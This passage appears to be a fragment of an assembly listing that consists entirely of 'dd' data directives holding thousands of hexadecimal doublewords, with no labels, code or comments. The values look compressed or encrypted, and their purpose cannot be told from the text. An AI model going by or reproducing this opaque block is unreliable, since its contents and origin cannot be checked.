		dd 333BEA45h, 90A44009h, 5FB8888h, 0F07B1AB0h, 0C3C402A2h
		dd 0B45C6B1Ch, 9096EA89h, 9F27194h, 0C343AA98h,	0F9E8A418h
		dd 7426E909h, 7950D964h, 3F921858h, 0F28BAFA5h,	0D802B583h
		dd 2E02BC72h, 74A4444Bh, 0E205000Eh, 0A8C0FE6h,	160983ADh
		dd 0C57E7368h, 600FC430h, 61120Ch, 0CB36C00Dh, 0EDB28B98h
		dd 0BD44B00Fh, 0B40E3235h, 497B063Eh, 2F146D8h,	0C753EC81h
		dd 1F8CE779h, 62EC006Ch, 9BCF5C4Fh, 4916090h, 0FA1847D1h
		dd 0E1786E0Eh, 0A6952279h, 41DCA0D2h, 56C7A3Ah,	80ABA43h
		dd 278098FCh, 465CCC96h, 71ED0052h, 6A1EFE70h, 0C31B037Bh
		dd 0BC59892Ah, 65E05388h, 0A17DB303h, 90570E68h, 15D55DBh
		dd 480D589Ah, 5414BBh, 4866F349h, 3E09B43Bh, 0A288B3h
		dd 60CCD02Dh, 6C3DBC2Ch, 700C5352h, 0CE00B2E6h,	0D369E8EEh
		dd 0B5B56DE2h, 4291601Fh, 13CF0480h, 63004F54h,	5D3CA8D2h
		dd 9148F42Ah, 4E1611DCh, 3D23382Fh, 0F630B204h,	13C5C888h
		dd 1F42C336h, 2B9C4488h
		dd 894B879h, 5181B86h, 8FAE75E9h, 0C10E88CCh, 4006983Ch
		dd 0D104BE93h, 0ED554000h, 0AEFA6D4Ch, 0DA0E0053h, 0E0AD4FFCh
		dd 7F6F39A5h, 72B481B0h, 0A60F3D0h, 4EA37826h, 0C810CBB8h
		dd 2C89C057h, 0C972B912h, 98AADC28h, 4676109Eh,	2F7C000Eh
		dd 0B565D4CCh, 5EC50706h, 7145F42Bh, 3499DE2Ch,	0BD0589ECh
		dd 0C736C3B0h, 0B4A27095h, 0A2BC0775h, 8F7ECCC2h, 1CA73740h
		dd 0E602C464h, 0FD8DE379h, 204CC451h, 0F883124Fh, 0C808CBBCh
		dd 55E0C052h, 0C6247843h, 0C10B61AFh, 299090A4h, 1D703AA2h
		dd 2E82EB00h, 12F00BD4h, 209604B0h, 777CC940h, 6A27019Dh
		dd 50B4DF2Dh, 0D5CAE078h, 476D4427h, 60A64434h,	7C2D1E06h
		dd 0E05705B8h, 0C07DD00Fh, 4DB9C764h, 0E4B327B0h, 7942C009h
		dd 45A55Ch, 4161A664h, 0F6D44136h, 94C104B1h, 0B0592B63h
		dd 93A82C79h, 41E01700h, 4E4530E2h, 29A40078h, 524F2E51h
		dd 0AE25112Bh, 0F2BC02DFh, 0F2730455h, 30A6E200h, 31008AAEh
		dd 0C33EB2BAh, 484E9C28h, 10E8CCA9h, 0CA7A008Ch, 1B9DF196h
		dd 7D004928h, 0E8F99C79h, 134841BBh, 4A3E612Bh,	40C4CCA0h
		dd 4F11E2B2h, 96F90380h, 20A413F8h, 0FD0E6EA4h,	0A3BF7F09h
		dd 7078D322h, 0A0081AEh, 0E92FB01Dh, 5AE7F10Ch,	37983854h
		dd 2C363B44h, 92E05E8Ch, 0E0E897A5h, 1873EFFFh,	0D2A00105h
		dd 0CCA850DAh, 248CC3ECh, 4D90BB7h, 0BC7D1EE4h,	0E33CC258h
		dd 89858D5h, 0ABC93D5Ah, 0AE0E4D0Fh, 763FA56Ch,	6EB46080h
		dd 488675C2h, 0EE003C0Fh, 31EC4159h, 4D4FC1F4h,	5823883Bh
		dd 0FCAD0800h, 48C82A5Ah, 0BE117491h, 778E0BD0h, 21944825h
		dd 6A1084BBh, 9B8CB310h, 0F958F2F1h, 8C44FC34h,	8BDB3500h
		dd 38AB3B97h, 71E09092h, 0C9E58054h, 1C467926h,	0B8807C2Eh
		dd 86C706D8h, 0A817624Fh, 0B45E1596h, 0F8E03A45h, 0B42A0610h
		dd 91A94F57h, 0C216A3FEh, 0FC4238FEh, 6408C3h, 0A048707Bh
		dd 2085049Ch, 0D8E0DFADh, 0A43F12ECh, 0BB184902h, 0CB44CC72h
		dd 34BA13B2h, 0B9988569h, 8CC0A868h, 2D1C960Bh,	3D0885E5h
		dd 4C79447h, 1B8FA300h,	2E4B0095h, 0EC5D1D9Fh, 0E600BC09h
		dd 793F9377h, 5B5E2BDFh, 0DBC40F1h, 85189788h, 83143B04h
		dd 98D25C09h, 0C0D0CD81h, 0DAA594F0h, 47D6B901h, 0BE01FCC4h
		dd 0DC2DE181h, 0DC63FF9Eh, 0C71CFBC1h, 726488DFh, 0A327E30Fh
		dd 0EA2A4873h, 7958F1E5h, 29481847h, 16909ABCh,	4C64F3F6h
		dd 8CA7B828h, 12D5FB3Eh, 0C804909Eh, 7CB86AF9h,	21C03193h
		dd 0CE2FFCC7h, 7DE6CC00h, 9B1C915Fh, 92731E10h,	8EC58575h
		dd 5A08B8ABh, 9888FC80h, 80AE022Fh, 0A72A2CB6h,	0B49E745Ch
		dd 81B39E08h, 51A09D3Bh, 0A29C2395h, 9A5A3045h,	513E4224h
		dd 8FBF5301h, 0C078C4A0h, 58ECA848h, 9247018Ch,	9181FFF6h
		dd 0CE0C30D5h, 7FB4A940h, 282B4126h, 0E72780B8h, 97679799h
		dd 3A91D09Dh, 41F3EB83h, 6B45FEC9h, 0FAE0F800h,	54995DABh
		dd 0ECFC423h, 87183764h, 9E3C1DC0h, 9DB2F2h, 898D6FF0h
		dd 8BCB032Bh, 0EE12304Eh, 8F74D0B8h, 5CE688D3h,	0E0082EE1h
		dd 0B9093C46h, 0F126D3DBh, 185C715Ch, 209812C8h, 0A36CA4E4h
		dd 21A6CA10h, 8BED3C13h, 0C124C80Ch, 6FCB744Ch,	383D3804h
		dd 885BF4EDh, 81200A3Ch, 0D154B1AFh, 75391853h,	33920182h
		dd 0F72AABA3h, 7C8C3043h, 0A5399496h, 11E09728h, 7DC9835Ch
		dd 2E8C88B6h, 38C91B4h,	4B21A330h, 30F5282Ch, 0BE7C1D2Fh
		dd 0AC00046h, 0B3016B5h, 7C382585h, 34641801h, 0E24C30CFh
		dd 8D0652Eh, 0A0A35C12h, 76303BE2h, 0C21D5BF9h,	0DCDE7E08h
		dd 0A70205D6h, 2CF476Ah, 0F88835E4h, 0F1A37A23h, 402E010Fh
		dd 2ADC99A4h, 974EEB08h, 9427D0CCh, 51465CF4h, 0A27FC00h
		dd 0AEF8BF21h, 10A84648h, 6C25527Ah, 0F3C0286Dh, 316F0F5Ah
		dd 7250A142h, 83CA004Ah, 8244023Dh, 0D5893F26h,	5E80E4D4h
		dd 0FC64B67h, 8D103E7h,	0A438641Eh, 0B6DB40E8h,	2DF05D49h
		dd 454CE662h, 746E7A64h, 0CCEA3F03h, 0CBB065E7h, 5209809Eh
		dd 4062ED2Bh, 0BD496654h, 9300303Dh, 9895F84h, 4FA700A5h
		dd 0B58DC816h, 8BB7C10Bh, 0C360ED8Ch, 63B0121Ch, 0CB0B2AC8h
		dd 84EB339Bh, 74B09570h, 0A8960A87h, 10BC9F18h,	0CE3C0B31h
		dd 58645381h, 0D91D07E2h, 3E4EBA59h, 0E02C8BD2h, 7A37B54h
		dd 633236F0h, 0BC11F4CAh, 4BEA15B8h, 0B2437BD0h, 82949A4Eh
		dd 0DE510C33h, 978F60A8h, 0CC58BE95h, 2CBDA470h, 0A000B3A8h
		dd 115B5C34h, 4C4BD422h, 48176C54h, 9E54D13Fh, 4CAC0432h
		dd 0F26CA2D2h, 0C7F93015h, 9E4F9B06h, 9018A003h, 0F57B99h
		dd 27A82426h, 686B422Dh, 34EC4E00h, 47167688h, 2A73010Fh
		dd 0BB641454h, 9C08306Bh, 0DC9DCC2Eh, 9244674h,	0C1DD51B1h
		dd 74694830h, 9298274Bh, 1512435Dh, 98261130h, 5E3AF220h
		dd 6ED8D143h, 0A862A8h,	2795863Bh, 0D11292h, 0D405FDE6h
		dd 49BCA01h, 0F08EAF12h, 217E5C04h, 7B3DE342h, 0E2B0A255h
		dd 0AC7B0B33h, 3B1F1E70h, 0BB005012h, 5742EAF2h, 83137FE3h
		dd 24B4B0B8h, 0FDAB047Bh, 0F20809AFh, 30C3F250h, 3E07E180h
		dd 929CE75Bh, 53DC9009h, 0BF77019Ah, 0EC972116h, 10842BB4h
		dd 58E18DBh, 2AB8DC42h,	58A82C5Ch, 81EF620h, 422CDA9Ah
		dd 0C0EEA43Eh, 4318F974h, 121B7400h, 8F5071C5h,	6084B464h
		dd 14DAFC2Dh, 60FC6D95h, 0B65AFCEEh, 2A362D04h,	0C2AF45F4h
		dd 0CDE4A9Bh, 524676h, 3E791331h, 121C5864h, 0C80CF5B4h
		dd 7BE03480h, 59EB660Fh, 3104C0C8h, 0B8EE8DEAh,	0DF39096Fh
		dd 0E8CF2Bh, 0F01C818Bh, 6901985Fh, 94BAB2BEh, 34540C64h
		dd 0AAF8DDC1h, 5523502Fh, 5C4F7E02h, 0C1FC89DAh, 9F004100h
		dd 4D27FBCAh, 11181D6Dh, 368980AEh, 39B3ACFh, 6AB8A712h
		dd 49A22C5Ch, 568028B5h, 77ECB5EFh, 5AC01C71h, 219689D5h
		dd 0A2F93820h, 0DD050F60h, 0E01D3B07h, 9B93D4E8h, 688F8094h
		dd 2F596BA1h, 0DE762B4Eh, 2875F305h, 2A3AC3h, 15238779h
		dd 51F4A25h, 88DAA903h,	0DBF0B1B8h, 0AD7F80E1h,	1F8266Dh
		dd 0BE3740B4h, 44039232h, 1CCD62EEh, 7C1DE07Fh,	4D22017Eh
		dd 590730EFh, 0A052C63Dh, 0F589A13h, 6110FC1Ch,	7BA02E93h
		dd 396A078Ch, 633DDD2h,	2700919Fh, 0B8BE2B49h, 8C8D3Fh
		dd 47A069D0h, 0C6E8A695h, 0D430465Ah, 0BEE4AE72h, 3A465EC8h
		dd 554BB901h, 31A1DFC1h, 0B04AE21Ah, 0E7580453h, 74961271h
		dd 0D395006Fh, 0AAF27909h, 89126896h, 4FDCF4h, 1486DF2Fh
		dd 0A4B6D0B3h, 789F1231h, 493B8F2Eh, 0FCF161F8h, 18C9C15h
		dd 8CB545C7h, 30809756h, 690CB2Bh, 0F8F6CA61h, 11C81FBDh
		dd 998A8027h, 616B3666h, 0CE34801Eh, 28FFE143h,	5CA4C0B4h
		dd 1C39C78h, 35252E63h,	686EE0E3h, 2A433C1Ch, 5617B040h
		dd 4045FE8Ch, 80A465A6h, 0E721C030h, 0C8D10E61h, 586C3100h
		dd 0EF94ED7Bh, 8CA516CEh, 0F3EF1636h, 2CB606CCh, 4B51BC6Ah
		dd 237C3E9Dh, 44E401C1h, 7098222Bh, 4B5A6068h, 2FF5A044h
		dd 34A84908h, 386B102Dh, 54B6B87Ch, 25AA01Ah, 4CAF98F4h
		dd 6876F14Eh, 13BD9B80h, 0FA77D4CDh, 0C1B60BD5h, 0A580D375h
		dd 0C3BF9EF5h, 566A1502h, 0A2A386A4h, 0DE8542E8h, 221DDC50h
		dd 6DC0EF38h, 2A4B2063h, 1290BC51h, 30740204h, 0D85115F7h
		dd 64EC4525h, 218A6057h, 0E8B601A8h, 7CB352BEh,	238C405Eh
		dd 0E295BAFAh, 61A07E30h
		dd 0DB06C343h, 1379182Dh, 0F6769814h, 0D2F10032h, 2AFB538h
		dd 9400F816h, 0C03DC3AEh, 0F4DB9C5h, 413EF346h,	40E14A4Fh
		dd 0C4DD22BDh, 676EBC78h, 12A36308h, 2EE598BAh,	514600F6h
		dd 0DCAC2A5Dh, 30F1B2F2h, 4238B92Ch, 0CBE31D88h, 0A3BD9F03h
		dd 3B083390h, 0C76321h,	5D7729F3h, 8659E500h, 9BCBD94Eh
		dd 1C8A00F1h, 0CD2B5F56h, 6F0FA3EFh, 0E74376FAh, 0B940522Ah
		dd 0D93D22h, 0EED87C7Dh, 7F60469Eh, 10EB9D74h, 37DF11Fh
		dd 3147CB2Ah, 19004D2Bh, 96AE9DDEh, 4F76C3h, 0F701B21Eh
		dd 446024CCh, 3CA6B618h, 0CC9DD28h, 3FF578BAh, 0E7009311h
		dd 2E2A7B05h, 66C25166h, 21AF08FEh, 5CF7D07h, 6B502808h
		dd 0C291EDCCh, 47B202C8h, 696FC05Dh, 0DF3B01E7h, 0BAC8FF19h
		dd 0E2304893h, 2A880508h, 40AEC4D6h, 6905CA82h,	6EC63A67h
		dd 6392A0E4h, 2A85D8E1h, 730187FEh, 0F38905C9h,	0A853CFC8h
		dd 0D69E88h, 2A5AE7FEh,	0B0F866A6h, 8E8D31CEh, 340A80BAh
		dd 0F2EA03h, 0EFC1B2DEh, 5304F6A9h, 0A4217306h,	0E89099h
		dd 4D3B0F34h, 0A6519139h, 226A4B02h, 0B0CE4377h, 117DD6DCh
		dd 88C6D87Fh, 0EE948144h, 2216C17Dh, 1CED232Ch,	0CBD8047Bh
		dd 233D6260h, 0D2808388h, 0C1EABE5h, 0F280FC41h, 4E20D679h
		dd 0A3CD0930h, 30109D71h, 0A40C805Eh, 40DECE3Ch, 5BC1B73h
		dd 94E42096h, 23602B3Ch, 0E841033Ah, 23D8BD33h,	0DC5019DEh
		dd 64917720h, 1B184479h, 0AA1228F8h, 4C3A11CEh,	0BF079923h
		dd 6280210Ah, 1E04B70Dh, 9333EF5h, 0F42E4B83h, 128099E0h
		dd 960313D5h, 863A3F30h, 17A6A331h, 78FF21h, 0BE7B76E4h
		dd 5601263Ch, 83B92B9Ch, 0DFCA47Dh, 3FF61238h, 0DA740A47h
		dd 0E84508B8h, 1F30E209h, 8096117Ch, 5253B801h,	0EE79002Ah
		dd 0DA12D27Ah, 8EF09C73h, 954A60C6h, 0AA900A9h,	72898AF6h
		dd 0D2399BD1h, 0F5E1948Dh, 0E0C046E8h, 0C22B18h, 0A59B5948h
		dd 646074F8h, 3100977Eh, 2A7AE73Ch, 29CA895Bh, 11F44275h
		dd 7DD580CFh, 8CCED880h, 934744h, 914E7DEDh, 0E41B030Bh
		dd 88DA6A26h, 0E1EBB23Ch, 1B312094h, 5B00845Fh,	866FC232h
		dd 2F47FE9h, 0A65D0BFBh, 884A4982h, 9265C002h, 237BC003h
		dd 0DB00C999h, 7ED87A7Dh, 6068919Dh, 0B17DF31Dh, 29E03Ah
		dd 8E38E70Ah, 34A4085Dh, 0CE69323Fh, 0C1378800h, 0FAF88644h
		dd 0D0E2F4A7h, 49667B83h, 0AD3918E6h, 3B43DB2h,	277339D1h
		dd 0F1682363h, 0E404871Ch, 3A6280CBh, 878F8423h, 8F2A07Fh
		dd 62D25161h, 8E5B7197h, 0FDC0A8A0h, 0F00E139h,	43507217h
		dd 0F28A5Ch, 3A0BDA4Ch,	0A4308C87h, 0E381C100h,	0D151BE01h
		dd 40BA60DEh, 3CDB172Ah, 0CC587C9Ah, 168A8120h,	18852E93h
		dd 951DC421h, 941D6Ch, 24A9927Bh, 4C6EB52h, 0DE3948h, 4F81BAD2h
		dd 8D257013h, 0B7032B77h, 0B0F32641h, 9765E924h, 0C1293980h
		dd 2B5AC468h, 20D0E937h, 0A9AF0BC0h, 10EB6F40h,	0A219EE8Ch
		dd 490E4300h, 0F05A0F9Ch, 3EFD018Eh, 0DB1FEC67h, 33028670h
		dd 0C31E4D2h, 3D812D72h, 127FAF80h, 88E783Eh, 1274818h
		dd 0A87B44B0h, 0C7A070FBh, 95A5B419h, 21811808h, 0C5A88367h
		dd 8DB1F44Dh, 3580FE50h, 58DCFBB8h, 6548641h, 0B5ECCB58h
		dd 0E3DC0227h, 0B11AFFEh, 0EAF02D60h, 6C4FE0C3h, 3F970B2h
		dd 1D707163h, 480E3121h, 99E19CA5h, 0DE39B60h, 5535EC28h
		dd 885C0B89h, 0B924C01Ah, 3518D1D5h, 8A682EA9h,	5F783CCBh
		dd 98E43818h, 115EB6Ch,	0B8530Dh, 5D732232h, 19942EC9h
		dd 826D128h, 9121803Eh,	0C672731Ah, 83AA00F7h, 25A7093Dh
		dd 0B92835DFh, 0CA06802Bh, 0B3938424h, 5E9000F1h, 58292113h
		dd 3133E736h, 1C60868h,	1356F221h, 41347B99h, 31A49A4h
		dd 0DB38D15Fh, 5DC9A883h, 18282E51h, 1A468840h,	0F9A87902h
		dd 19318DADh, 0A8816510h, 710CC47Dh, 192A2BECh,	0B5D414AFh
		dd 6A00BC95h, 0D53E5E4Fh, 8CA785F3h, 93603B44h,	6100A892h
		dd 0B6B54B7Ch, 6C99F8Ah, 0EC728483h, 0B01EF12Ch, 320C70FCh
		dd 28541126h, 469C0A7Fh, 135F0283h, 31602920h, 57F310C4h
		dd 0D0380413h, 91D5CF33h, 80C0927Ch, 41C97E21h,	382BBFB4h
		dd 381C7AA9h, 0B7AC0029h, 85652EDAh, 91F0A000h,	0B0117349h
		dd 0E7EA3159h, 0D8FDCB49h, 0CC28727Ch, 0F4669048h, 721E108h
		dd 5FE80526h, 0CAF5703Bh, 0CCA72F8Ch, 5F601B44h, 59087805h
		dd 580DD0h, 96230424h, 2BE6C770h, 362AFD04h, 8033F9h, 146D0DD1h
		dd 0D4035F83h, 1D010623h, 0F6C96273h, 98884718h, 35732E15h
		dd 33943A7Fh, 67B09CCCh, 0F800E2EAh, 0E4288E47h, 117A776h
		dd 461ACAF4h, 0DA3402F2h, 0B8083464h, 7453D1Dh,	313C7863h
		dd 0F1D271A1h, 33F0249Dh, 31C3D671h, 0CC414570h, 99490D06h
		dd 6DA5291Dh, 13239B80h, 2604CD86h, 146BEE2Bh, 1623AC71h
		dd 0FDA87D01h, 1E186DADh, 856988h, 0A1DD72A8h, 0B22293E1h
		dd 4D2D710Ch, 199F913Eh, 31284B80h, 7A44224h, 11731C30h
		dd 88FEC963h, 14978045h, 4C0D873h, 23DB3100h, 0B8A92DFBh
		dd 852C98E9h, 6747C428h, 7532CD21h, 90581F4h, 5ACF361Eh
		dd 61858C04h, 29FD1361h, 10C731D6h, 0FA1359F5h,	0FF4F0063h
		dd 0DF911F04h, 8098B010h, 600A7978h, 0AC93DB54h, 1908C424h
		dd 0D4B10725h, 5702B28Bh, 87E18846h, 0C35D2002h, 406C8922h
		dd 0CC448150h, 45211608h, 0F7C35500h, 0C083E4F1h, 0BD8B0005h
		dd 7FA0B9Dh, 7607BE90h,	5077C40Fh, 0EE85211h, 0BBB63B80h
		dd 743B1958h, 201F7A00h, 41F32BE7h, 0F2AC0CCh, 5F585A31h
		dd 0E49005A1h, 767C98Dh, 40C6A5Ch, 3E82857h, 0C35F3957h
		dd 887C8911h, 57478014h, 0B5039EC3h, 2416C929h,	59875111h
		dd 4C8922C3h, 41101531h, 0E802C351h, 0E995FFD0h, 5225852Bh
		dd 0C35A2321h, 8C5489C8h, 7421D44h, 352AC352h, 0E9C5A048h
		dd 753A4D3Fh, 250CB03Ah, 0D8B817h, 1546BE1Fh, 8E4C0FA0h
		dd 9D8D2702h, 97FDD711h, 8514913Ch, 0D604572Fh,	5E010D7Dh
		dd 0C5FFB70Fh, 555291D3h, 17F20394h, 73A33F30h,	0BD230CDAh
		dd 89561F39h, 1D259D18h, 0DFE8B0Ch, 104985FFh, 88DF0E10h
		dd 92BDC019h, 97002645h, 43A9BFFEh, 20E97E78h, 0E86E087Bh
		dd 815D002Fh, 12EF9EDh,	0C7BE07FEh, 0EC014918h,	239219BDh
		dd 2CC3D07Dh, 0F665860Fh, 0B5290C0Ch, 9DB51CB9h, 0C0CC530h
		dd 70815E53h, 8429DFE3h, 5D1BE1B5h, 11E4988h, 850FDB0Bh
		dd 7408C2A6h, 232000D6h, 0E16C8417h, 2533BD33h,	0B1835E05h
		dd 0D4B12D06h, 813584B8h, 0B5895139h, 288513E5h, 489CE95Fh
		dd 5BC35341h, 5C8991C3h, 43831123h, 5EF6C353h, 19890644h
		dd 5C27B185h, 4288DAC7h, 0BE00B886h, 27315B9Ah,	79D460E9h
		dd 8C1BE824h, 0F4EBA50Eh, 36CA9D65h, 0A90AAE98h, 35CD3D16h
		dd 1DC8DF4Eh, 3FB9B6C1h, 6DFA2E8h, 63D7420Eh, 55206C50h
		dd 8D5F292Bh, 5666B2FFh, 0E4C35E30h, 22744689h,	5646001Ah
		dd 931896C3h, 7B00163Bh, 0A7CF81D3h, 0EC03397Eh, 89FF4823h
		dd 505CC873h, 91C358C3h, 1C184489h, 504088h, 0F98AF4C3h
		dd 52DD3D7Ch, 0BEF85E31h, 6F071F75h, 0DB8C6600h, 450C3F6h
		dd 0B78B3EE6h, 660D38CFh, 28D226BFh, 10A50C65h,	9014F33Dh
		dd 929A800Fh, 5C62DE5Fh, 4D0401FFh, 0D1A254C8h,	8705E9D1h
		dd 3678D61Fh, 0DBC17A74h, 98919050h, 2DE91859h,	0E47BF7Dh
		dd 0B0616E9Bh, 0BDB53301h, 60249229h, 8151A010h, 9E8A68Eh
		dd 0D0051380h, 0D398761h, 0F7AF2603h, 0D05FEF8Ah, 6070E6h
		dd 0DE24FFBEh, 77E1811Eh, 7D0A461Fh, 1D71E4C9h,	0C019114Ah
		dd 162391E3h, 29CEC453h, 70AB100Eh, 7C816688h, 294A7BD7h
		dd 0D1EBD8B6h, 7A1818h,	5A1C0D7Fh, 9DE68160h, 86D5A83Eh
		dd 235D8D89h, 8B610476h, 9F06BAF7h, 2E2893B4h, 40DDB003h
		dd 70B08B18h, 0C6310860h, 610537h, 6E94BBA2h, 4797CE81h
		dd 5E0B3902h, 4704E8C1h, 61154490h, 0F7C466B4h,	0C462A5E2h
		dd 9B9A6018h, 2DED0E10h, 2E899589h, 570F2029h, 0F050648h
		dd 0D2300587h, 22CF7AF6h, 8D912B61h, 0D181C71h,	4A507107h
		dd 0C28E1DF6h, 90880FBEh, 34B50BC7h, 17C32D1h, 29241CDCh
		dd 168B728Dh, 4025B5FFh, 0C08C9B30h, 857124C8h,	1DBD0C30h
		dd 1920952Dh, 35017E10h, 90C2F5Dh, 7708F899h, 1B465C61h
		dd 0BEBCFC03h, 71A84CC5h, 8A6E0F31h, 37E40F21h,	0DA13AD6Fh
		dd 0B71220E9h, 0A61EEA0Eh, 3CC013FCh, 2F830F61h, 8E1ED402h
		dd 8C1DE8h, 0B4B564B3h,	75ACBFA4h, 66DA2312h, 58B98615h
		dd 8C1AE885h, 798CB700h, 3401722Dh, 0E589520Fh,	0B5109058h
		dd 9B75316h, 0C5EFC51h,	92F97C91h, 78439B80h, 5BFEE14Dh
		dd 0F53EAD1Ch, 92168D8Fh, 30B9C504h, 0BFAF0412h, 2E9394F3h
		dd 0F1C2371h, 26C0CB50h, 61DAE570h, 9BA1697Bh, 6082215Fh
		dd 2FF01D2h, 11649758h,	72DA801Ch, 1289E198h, 1371A916h
		dd 60411AECh, 1338E82h,	15C45567h, 0F591C160h, 22B984A9h
		dd 0BE661231h, 1CC34C11h, 8107C183h, 6BD040EFh,	0B8D93B09h
		dd 14F55DECh, 0F41F74F8h, 9B016E7Ch, 71B77B2Ah,	0E7EDE720h
		dd 0A1120405h, 0B8021311h, 24C1F6D9h, 0BD8941B3h, 18421659h
		dd 6C31EA09h, 0FA0B48BAh, 8100BF49h, 3E5E80C6h,	32C45B5Ah
		dd 2B0434D1h, 88B5CEC3h, 0AAE2C019h, 0FA2CE14Bh, 0A11A26A9h
		dd 759C4085h, 343D8025h, 8849084Ah, 0C4604754h,	0F86A601Bh
		dd 299E3A0Ch, 0E144512h, 7D10ED33h, 5F2AE934h, 1D23672Eh
		dd 0F8936700h, 2DBD0BFh, 0CCA76ABEh, 64AC08Bh, 7AF3CE8Eh
		dd 0E2E90E08h, 8DC6605Ah, 4985C7AEh, 33078F19h,	0E41A6341h
		dd 0E73400Dh, 1C0B318Eh, 8F9C8FD9h, 7AEDC539h, 0A273238Eh
		dd 8BCE301Ah, 0B4F00D01h, 0D681A2B1h, 4BD783E0h, 855D387Dh
		dd 0BF413060h, 3D583836h, 15D1FF57h, 18887C4Eh,	0A1A5A9C0h
		dd 9AEB58ABh, 6C21DE0Bh, 775B5D32h, 0A9EE70h, 0FDCF11F9h
		dd 2A7187E9h, 0A5607090h, 0D989BF57h, 7D4A5951h, 0AFBCA491h
		dd 0D6B23B01h, 9056055Ah, 14A23E33h, 60E80530h,	0A9951313h
		dd 3A004436h, 1B086468h, 171CB8h, 52E3D057h, 8918DED4h
		dd 7505B524h, 5A0E5F9Ah, 20ED9887h, 810315B1h, 852503D7h
		dd 2D0C0465h, 8E4BBBA1h, 0C01D88B7h, 13A289B5h,	5D117702h
		dd 600AB38Dh, 8001853Bh, 7D20B533h, 28297628h, 54492495h
		dd 0A0E9B399h, 0F6D777Dh, 7D7AE2C9h, 882BAE40h,	4301015Bh
		dd 0E0DE2CD3h, 78EAE366h, 602340F6h, 0F79D8EFh,	0B510679Ah
		dd 0E82C21C1h, 0A567409Dh, 0C607EBDFh, 0D9958B2Fh, 356D910Bh
		dd 945B4998h, 6181298Dh, 16A25F23h, 4D917430h, 4C7807EEh
		dd 16E8335Fh, 0D088188Ch, 18D190EAh, 38CCE980h,	80C8FFF7h
		dd 288C15E8h, 209BDFC4h, 6A980D55h, 1B3A70E9h, 0CF305689h
		dd 701D417Dh, 5E126858h, 80D0E95Fh, 50DB32h, 77B7D1B4h
		dd 0C18BAFA5h, 0D7CEBE01h, 4EB6B2Bh, 0E4B067C2h, 761F6018h
		dd 1296E2CAh, 0C851F08Bh, 4FB0F2BEh, 0DA9AD506h, 617C5AA0h
		dd 858DA0F3h, 90382499h, 2020534Bh, 34977BBh, 0A79412FBh
		dd 30715146h, 0EE905031h, 0F4222D11h, 3706E918h, 590BAA28h
		dd 470B9E1Eh, 601964D3h, 1273A2Dh, 0BE7907EFh, 42229D46h
		dd 6D7986BCh, 0C461423Dh, 0DAFE38E8h, 0C18068D8h, 961C65E7h
		dd 52936050h, 8E34FF30h, 0FCF1007Fh, 0D1FD47A4h, 0BBF673DEh
		dd 66310F00h, 5A1CF8BFh, 89610058h, 0F0BE2404h,	126936AFh
		dd 298C62CEh, 11741D7Eh, 5C0C8216h, 8045D9F3h, 1373EE81h
		dd 15B60A11h, 41164DE9h, 84F774F6h, 87425E24h, 2210087h
		dd 0AE2C219Dh, 99A4BEC0h, 22B656E2h, 9164676h, 64766282h
		dd 22F0123h, 0B1D28087h, 0C51F6C90h, 0F9A34DE9h, 1238F284h
		dd 1C23A53Ah, 7C6AE506h, 0E3E00B1Eh, 918BA622h,	1ED1176Ah
		dd 52545BE4h, 0A8C1BE8h, 0A2CD83E3h, 93E91777h,	0CBB85693h
		dd 4E0091D4h, 10A070BBh, 4C4312F8h, 212DB85Ah, 0BF6D0B89h
		dd 0D95905C2h, 0B19A669h, 636620CDh, 7A608A44h,	10DC9E9h
		dd 3B038500h, 4801E3A6h, 8BF81CCBh, 7238898Dh, 8260611Ch
		dd 3778BD83h, 4B1356D9h, 1B234B3Fh, 0D7E42300h,	0D823285h
		dd 50E91D7Ah, 0C06D5B21h, 48A7B6DDh, 8D2E171Fh,	0B0F61A86h
		dd 50A46CD1h, 1324DD08h, 829324E9h, 1893F7DCh, 3BE5784h
		dd 890C4E78h, 3517EDF9h, 3DD61D2Ch, 63A841h, 7E59CAAFh
		dd 2DBD03E1h, 24682741h, 0A50E60CBh, 0E852A03Fh, 53761FD8h
		dd 489DB280h, 1ECD775h,	0DC800234h, 6C615E7Bh, 0A2985314h
		dd 26D3018h, 229A4D16h,	968F34C8h, 15467C1Dh, 1A0B6627h
		dd 0BE040044h, 10E94948h, 0C320AA4Eh, 0F3133EA3h, 643B2900h
		dd 737C47BDh, 65175B72h, 88838D66h, 1F25990Ch, 50FB4990h
		dd 0B7CBDF0Bh, 0BC48DB2h, 906442BEh, 6FE08BE6h,	50245CBh
		dd 0C1F56377h, 0A5B1418Fh, 312683ACh, 91B0F851h, 6007087Fh
		dd 89698529h, 70E6A721h, 0C0AC490Fh, 714BE4F9h,	700CD6Eh
		dd 3C8EB3B1h, 0EB6205E1h, 916F994h, 4046A4C2h, 33452100h
		dd 8FFF958Ch, 0FD901CE2h, 3F2D4274h, 0BF4706BAh, 36015E4h
		dd 6CE98B38h, 8C14F820h, 830F4B12h, 0F2C91561h,	0E918963Ch
		dd 0DA0D190Ah, 0EFACF900h, 414662B2h, 0D82B2EA9h, 0E902DEE2h
		dd 0F5693A3h, 0F505E48Ch, 1C8DD48h, 0A45F76DAh,	7084DFB8h
		dd 8B056673h, 8E0F93FEh, 0A4EC141Eh, 423D4B0Fh,	5BFC5E10h
		dd 0D69FA6AFh, 7ECBD214h, 1C2CC0DFh, 0F89C6B8Bh, 447704D0h
		dd 0C4A614B5h, 48B0A308h, 7B093572h, 3524501h, 564E5B5h
		dd 0A03F905Eh, 14096038h, 1B0EB1BDh, 615A6D22h,	6862F148h
		dd 1D465461h, 8F5BDE00h, 494BB20Eh, 32F77716h, 0E08C4316h
		dd 9F3324DEh, 4017AE55h, 0C4614F63h, 4D399924h,	465CF1E8h
		dd 9D40119h, 27EAA991h,	9BF5120h, 24F9B874h, 5C2B5628h
		dd 5E041746h, 0C1573523h, 52711D2h, 92580D14h, 5889D4DBh
		dd 0BF1AFB81h, 9032E8h,	0D7F44D8Ch, 0B91B1D5h, 297AF661h
		dd 0F29FA64h, 34249180h, 2D220908h, 0DF810800h,	9417AA37h
		dd 7F045845h, 0D2130869h, 0E92470E7h, 0FC8DE4h,	0CFF70ADBh
		dd 0AB8EA803h, 0E6437E00h, 8FBABF42h, 26ED7477h, 7E1907B9h
		dd 0CE001A46h, 0AD5CE6B5h, 0F7904569h, 78F462Dh, 0FDE401FDh
		dd 0FD3DD3B1h, 62A91C37h, 0CFD0F2B7h, 0AD9D2909h, 8B77AF0Ch
		dd 44D844F7h, 0B5168BDBh, 0D29D10F5h, 9AF0EF66h, 8002BFA8h
		dd 9CDBBEDAh, 1124975Bh, 0B7BB8017h, 480F1231h,	60879B8Bh
		dd 0A60D8CE8h, 9A207C00h, 98AEC347h, 745B012Dh,	8FB14B5Ah
